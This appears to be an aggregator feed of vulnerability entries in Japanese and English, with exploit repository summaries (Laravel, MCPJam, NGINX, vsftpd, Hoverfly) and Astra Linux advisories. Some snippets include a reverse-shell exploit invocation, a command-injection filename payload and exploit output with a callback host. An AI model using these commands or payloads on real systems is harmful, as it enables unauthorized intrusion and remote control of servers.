Laravel-CVE-2021-3129

Laravel-CVE-2021-3129 CVE-2021-3129 説明 https://github.com/zhzyker/CVE-2021-3129 と https://github.com/SNCKER/CVE-2021-3129 を統合。本プロジェクトには以下の利点があります： カスタムコマンド機能を保持 悪用成功時の自動終了機能を新たに追加し、効率を向上 11の悪用チェーンを維持 より多くの escapedchars を追加し、コマンドに括弧処理を適用することで、コマンド実行失敗の確率を低減 インストール pip install -r requirements.txt...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 MCPJam Inspector 3.エクスプロイトを実行します python3 CVE-2026-23744.py -u -i -p 4.より快適に使用するには、ターミナルをフル機能のものにアップグレードすることをお勧めします。そうしないと、ctrl^c のようなコマンドを使用できません。 例 このエクスプロイトは管理された環境でのみ使用してください ⚠️自己責任で使用してください⚠️...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCEエクスプロイト 脆弱性の説明 MCPJam Inspectorには、/api/mcp/connect エンドポイントに認証不要のリモートコード実行（RCE）脆弱性があります。この脆弱性により、攻撃者は悪意のあるMCPサーバー設定ペイロードを送信することで任意のコマンドを実行できます。 このエンドポイントは、serverConfig オブジェクトを含むJSONペイロードを受け入れ、そのオブジェクトには command と args 配列が含まれており、適切な検証やサニタイズなしでシステム上で直接実行されます。 影響を受けるバージョン...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

Astra Linux – Vulnerability in Zabbix

Zabbix allows for the configuration of SMS notifications. AT command injection occurs on the “Zabbix Server” because there is no validation of the “Number” field either on the web interface or on the Zabbix server side. An attacker can send specially crafted phone numbers via SMS and execute...

Astra Linux – Vulnerability in cifs-utils

It was discovered that cifs-utils’ mount.cifs function invoked a shell when requesting the Samba password, which could be exploited to inject arbitrary commands. An attacker who had special permissions, such as those through sudo rules, could use this vulnerability to escalate their privileges...

Astra Linux – Vulnerability in Node.js

A OS command injection vulnerability exists in Node.js versions 14.20.0, 16.20.0, 18.5.0 due to an insufficient IsAllowedHost check. This vulnerability can be easily exploited, as the IsIPAddress function does not properly check whether an IP address is invalid before making DBS requests, thereby...

Astra Linux – Vulnerability in exim4

A use-after-free exists in Exim 4.96 through 4.98.1, which could allow users with command-line access to escalate their privileges...

Astra Linux – Vulnerability in dovecot

The ManageSieve AUTHENTICATE command crashes when using “literal” as the initial response to SASL. This can be used to repeatedly crash the ManageSieve service, rendering it unavailable to other users. It’s recommended to control access to the ManageSieve port or disable the service if it’s not...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: fmassstorage: Fixed a potential integer overflow in the checkcommandsizeinblocks function. The checkcommandsizeinblocks function calculates the data size in bytes by shifting common-datasizefromcmnd by the block size...

Astra Linux – Vulnerability in Composer

Composer is a dependency manager for PHP. On the 2.x branch, before versions 2.2.24 and 2.7.7, the composer install command executed within a Git/HG repository with specially crafted branch names could lead to command injection. This required cloning untrusted repositories. Patches are available ...

Astra Linux – Vulnerability in Firefox and Thunderbird

When a user clicks on an FTP URL containing encoded newline characters %0A and %0D, these newline characters are interpreted as such, allowing arbitrary commands to be sent to the FTP server. This vulnerability affects Firefox ESR 78.10, Thunderbird 78.10, and Firefox 88...

patch-CVE-2026-04321

パッチ: CVE-2026-04321 脆弱性の詳細 CVE : CVE-2026-04321 製品 : Zyxel ファイアウォール 説明 : OSコマンドインジェクション 深刻度 : 重要 パッチステータス: 適用済み フィールド| 値 ---|--- パッチ適用日| 2026-01-28 ステータス| 適用済み 適用先| 本番環境 検証者| SecOpsチーム 参照 NVD CISA KEV...

CVE-2011-2523

CVE-2011-2523 Exploitation 🚀 使い方 このPoCスクリプトを使用すると、CVE-2011-2523（VsFTPd 2.3.4 バックドアコマンド実行）を悪用できます。 help ⚒️ インストール git clone https://github.com/ByteForgeFr/CVE-2011-2523 cd CVE-2011-2523 Install the needed requirements pip install pwntools argparse...

POC-CVE-2026-19681

CVE-2026-19681 — ファイルアップロード処理におけるコマンドインジェクション（認証済み） ステータス: CONFIRMED — 6.7.2-14.el9 ラボ環境で確認（2026-08-20）。ステージングされたファイル名 p;sleep$IFS20;-EvvfJk を POST /rest/file/upload 経由で送信（コンテキストプレフィックスにメタキャラクタを含む）、続いて POST /rest/auditFile（type=scapLinux、version=1.2）が正確に 20.1 秒間停止し、エラー 106（"Error adding Tailoring...

CVE-2026-4480

エクスプロイトの実行: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly ミドルウェア API リモートコード実行 認証された RCE: Hoverfly ≤ 1.11.3 における OS コマンドインジェクション 脆弱性の概要 プロパティ| 値 ---|--- CVE ID| CVE-2025-54123 CVSS スコア| 9.8 — クリティカル CVSS ベクトル| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS コマンドインジェクション, CWE-20 不適切な入力検証 製品| Hoverfly — オープンソースの API...

kernel: nvme-tcp: fix host memory disclosure on R2T for a read command

A flaw was found in the Linux kernel's NVMe Non-Volatile Memory Express over TCP nvme-tcp component. A malicious NVMe controller can exploit this vulnerability by sending a Ready to Transfer R2T command for a read request. The host system, failing to properly validate the request direction, will...

CVE-2021-46704

GenieACSにおけるOSコマンドインジェクション CVE-2021-46704 CVE-2021-46704 Nucleiテンプレート 参照 : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...